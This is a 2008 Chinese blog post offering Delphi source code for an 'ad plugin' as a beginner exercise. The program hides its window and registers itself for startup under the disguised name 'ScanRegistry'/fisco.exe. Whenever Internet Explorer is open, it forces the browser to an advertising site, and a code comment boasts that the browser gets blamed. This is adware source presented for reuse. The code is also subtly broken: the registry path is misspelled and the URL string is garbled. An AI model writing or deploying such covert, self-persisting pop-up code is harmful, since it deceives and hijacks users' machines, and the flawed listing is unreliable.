1. 公告

    • 黑夜给了我黑色的眼睛去寻找光明,阳光给了我明亮的眼睛我却是去寻找黑暗,所以我只有在夜里才出现真实的自己。(菩提本不树,明镜亦非台,本来无一物,何处染尘埃。)
  2. 写作时间

    << 2008-4 >>

    Sun

    Mon

    Tue

    Wed

    Thu

    Fri

    Sat

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    25

    26

    27

    28

    29

    30

  3. 原创下载

  4. 最新文章

  5. 最新评论

  6. 文章归档

  7. Statistics

    • 文章总数:154
    • 评论总数:47
    • 引用总数:0
    • 浏览总数:121178
    • 留言总数:0
    • 当前样式:4u-HK
    • 当前语言:zh-CN
  8. 友情链接

  9. 反向链接

一段Delphi广告插件源码

泡泡鱼点评:
很适合初学者上手。
学习目的:
1.Delphi中如何操作注册表创建键值
2.如何隐藏运行窗体
3.Timer控件的使用
注意点:
uses中要添加registry

***************************************************************************************
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Registry,shellapi, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin
Application.ShowMainForm:=False; //隐藏Form窗体
reg := Tregistry.create;
reg.rootkey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVerson\Run',true);
reg.WriteString('ScanRegistry','fisco.exe');
reg.CloseKey;
reg.Free; //写入注册表随机启动,程序保存为fisco.exe
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
hWnd:THandle;
begin
hWnd:=FindWindow('IEFRAME',nil);
if hWnd<>0 then //如果发现浏览器运行(其实就是嫁祸浏览器^_^)
ShellExecute(0, 'open', 'iexplore.exe', 'http://www.cnnst.com&#39;, '', SW_SHOWNORMAL);
end;
end.

您或许还对以下的内容感兴趣:

如果您拥有一个BLOG,如果您的BLOG的PV/IP/PR还算不错,如果您打算用您所拥有的BLOG来赚钱,那么我来告诉您几个赚钱的方法:

1、透过 Google AdSense 使您的BLOG产生收益

2、您还可以通过申请TextLinkAds投放者来直接出售链接位从而产生收入。